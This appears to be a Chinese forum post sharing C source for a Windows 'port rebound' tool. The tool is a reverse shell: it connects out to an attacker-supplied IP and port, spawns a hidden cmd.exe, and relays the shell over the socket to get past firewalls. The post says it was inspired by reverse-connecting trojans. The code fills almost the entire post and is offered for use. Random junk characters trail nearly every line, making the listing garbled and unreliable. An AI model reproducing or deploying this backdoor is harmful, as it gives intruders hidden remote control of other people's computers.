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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 OeASB}  
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/* ============================== &Hp*A^M  
Rebound port in Windows NT (c)/&~aE  
By wind,2006/7 jXf@JxQ  
===============================*/ )e3w-es~4  
#include DmuQE~DV  
#include LJ@(jO{z  
+`Q]p" G  
#pragma comment(lib,"wsock32.lib") vFdI?(c-  
V':A!  
void OutputShell(); @br)m](@  
SOCKET sClient; vb>F)po1}  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; , p}:?uR  
W+Mw:,>*s  
void main(int argc,char **argv) xS12$ib ~G  
{ `K+%/|!  
WSADATA stWsaData; su=MMr>  
int nRet; n4dNGp7\`  
SOCKADDR_IN stSaiClient,stSaiServer; SF; \*]["f  
zW#5 /*@  
if(argc != 3) fn 'n'X|  
{ EoPvF`T  
printf("Useage:\n\rRebound DestIP DestPort\n"); ^$'z#ZN1  
return; AA^K /y  
} 9;6)b 0=$  
M| Gl&   
WSAStartup(MAKEWORD(2,2),&stWsaData); hR|xUp  
WZ6{9/%:  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SS%Bde&<{  
]N]Fb3  
stSaiClient.sin_family = AF_INET; c]x-mj =  
stSaiClient.sin_port = htons(0); "1Hn?4nz5  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); kJuG haO  
dpq(=s`s  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) :n13v @q  
{ B/a`5&G]  
printf("Bind Socket Failed!\n"); Xykoq"dbb  
return; ej_u):G*  
} #Ko I8U"  
;5X~"#%U_  
stSaiServer.sin_family = AF_INET; AFL'Ox]0  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \jk* Nm8;  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); l2 n`fZL  
NbU4|O i  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )=}qAVO8  
{ &aIFtlC  
printf("Connect Error!"); aE)1LP  
return; `)8~/G%  
} ~ i+XVo  
OutputShell(); f9#srIx+  
} ``g  
AP>n-Z|  
void OutputShell() >>J$`0kM*  
{ ,}W|cm>  
char szBuff[1024]; rWJ5C\R  
SECURITY_ATTRIBUTES stSecurityAttributes; o?/H<k\5  
OSVERSIONINFO stOsversionInfo; `]l` t"x  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; B<BS^waU  
STARTUPINFO stStartupInfo; 0/DO"pnL@  
char *szShell; EgPL+qL  
PROCESS_INFORMATION stProcessInformation; ~Sb)i f  
unsigned long lBytesRead; C1_0 9Vc  
[7 PC\  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6 M:?W"  
1SS1P0Ur  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); WxYEu +_  
stSecurityAttributes.lpSecurityDescriptor = 0; YJ ,"@n_  
stSecurityAttributes.bInheritHandle = TRUE; ^`lDw  
| X1axRO  
EMe1!)  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); a_+3, fP  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); G|nBja8vm  
.zdaY, U  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,S d j"C  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "__)RHH:8  
stStartupInfo.wShowWindow = SW_HIDE; u0+F2+ I  
stStartupInfo.hStdInput = hReadPipe; ^#e|^]] L  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [[T6X9  
Ump Hae  
GetVersionEx(&stOsversionInfo); ^C~_}/cZ  
.9ZK@xM&?  
switch(stOsversionInfo.dwPlatformId) 'vt Jl  
{ c0e[vrP:  
case 1:  V0A>+  
szShell = "command.com"; |) ~-Wy  
break; >G!=lLyR  
default: ML|?H1m>  
szShell = "cmd.exe"; UZFs ]z!,k  
break; h`9 & :zr  
} 4Dzg r,V  
M1/(Xla3  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $ s1/Rmw  
<L8FI78[*  
send(sClient,szMsg,77,0); `'iO+/;GY  
while(1) .'66]QW  
{ u!~kmIa4  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); dR=sdqS#J  
if(lBytesRead) F|+B8&-v  
{ Yg5o!A  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ua=7YG  
send(sClient,szBuff,lBytesRead,0); tR9iFv_  
} 56kqG}mg&  
else Kp7)my  
{ ,f)+|?wz  
lBytesRead=recv(sClient,szBuff,1024,0); vCt][WX(  
if(lBytesRead<=0) break; 8*?H~q~  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %$b}o7U"s  
} f-i5tnh  
} qB@N|Bb  
POl-S<QV  
return; 1jKj' 7/K  
}
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